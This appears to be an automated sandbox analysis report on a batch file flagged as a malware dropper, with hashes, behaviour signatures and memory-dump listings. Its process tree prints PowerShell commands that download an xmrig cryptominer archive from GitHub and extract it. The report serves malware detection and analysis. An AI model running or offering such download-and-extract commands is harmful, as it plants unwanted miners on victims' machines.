04cf0194fb37bcc19b2b63904d84a74c720b64b7938620fdf971bb98a8f47ccd

Analysis

max time kernel
119s
max time network
120s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
22/12/2023, 05:54

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General

Target

tesy - Copy (11).bat
Size

608B
MD5

727c8da0478af118c957ae60f7161cab
SHA1

cf18105b8659e93bbd2824fa35ef1bae7b395301
SHA256

97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab
SHA512

d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
3	296	powershell.exe
4	296	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
296	powershell.exe
2784	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	296	powershell.exe
Token: SeDebugPrivilege	2784	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1712 wrote to memory of 296	1712	cmd.exe	29
PID 1712 wrote to memory of 296	1712	cmd.exe	29
PID 1712 wrote to memory of 296	1712	cmd.exe	29
PID 1712 wrote to memory of 2784	1712	cmd.exe	30
PID 1712 wrote to memory of 2784	1712	cmd.exe	30
PID 1712 wrote to memory of 2784	1712	cmd.exe	30

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (11).bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1712
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:296
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2784

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\GI8HEEKAHOD0NM8ROENX.temp

Filesize
7KB

MD5
60d99166203f1794152d2f155752716d

SHA1
9bfc7fe44c998a6ad0946457fe0a974d5158d209

SHA256
3ed4c0c0b0b2e0dbc0cb2a7ce72a7e108a8e55c5ce6a28de0f1a423bf4ceed21

SHA512
3f01066f4ae1295e00a1375465f8c98a7eab75a7862569f0c96ba188f7a274c2958453ec00bb49c82d33d49f5904659d1e75cccf2b68e7a0db46dcb4e32a77fe

Download Submit
memory/296-11-0x0000000002D70000-0x0000000002DF0000-memory.dmp

Filesize
512KB

Download
memory/296-8-0x000007FEF57E0000-0x000007FEF617D000-memory.dmp

Filesize
9.6MB

Download
memory/296-6-0x000007FEF57E0000-0x000007FEF617D000-memory.dmp

Filesize
9.6MB

Download
memory/296-5-0x0000000001D20000-0x0000000001D28000-memory.dmp

Filesize
32KB

Download
memory/296-4-0x000000001B5D0000-0x000000001B8B2000-memory.dmp

Filesize
2.9MB

Download
memory/296-10-0x0000000002D70000-0x0000000002DF0000-memory.dmp

Filesize
512KB

Download
memory/296-9-0x0000000002D70000-0x0000000002DF0000-memory.dmp

Filesize
512KB

Download
memory/296-12-0x0000000002D70000-0x0000000002DF0000-memory.dmp

Filesize
512KB

Download
memory/296-7-0x0000000002D70000-0x0000000002DF0000-memory.dmp

Filesize
512KB

Download
memory/296-13-0x000007FEF57E0000-0x000007FEF617D000-memory.dmp

Filesize
9.6MB

Download
memory/2784-19-0x000000001B790000-0x000000001BA72000-memory.dmp

Filesize
2.9MB

Download
memory/2784-22-0x0000000002930000-0x00000000029B0000-memory.dmp

Filesize
512KB

Download
memory/2784-26-0x0000000002930000-0x00000000029B0000-memory.dmp

Filesize
512KB

Download
memory/2784-25-0x0000000002930000-0x00000000029B0000-memory.dmp

Filesize
512KB

Download
memory/2784-24-0x0000000002930000-0x00000000029B0000-memory.dmp

Filesize
512KB

Download
memory/2784-23-0x000007FEF4E40000-0x000007FEF57DD000-memory.dmp

Filesize
9.6MB

Download
memory/2784-21-0x0000000002240000-0x0000000002248000-memory.dmp

Filesize
32KB

Download
memory/2784-27-0x000007FEF4E40000-0x000007FEF57DD000-memory.dmp

Filesize
9.6MB

Download
memory/2784-20-0x000007FEF4E40000-0x000007FEF57DD000-memory.dmp

Filesize
9.6MB

Download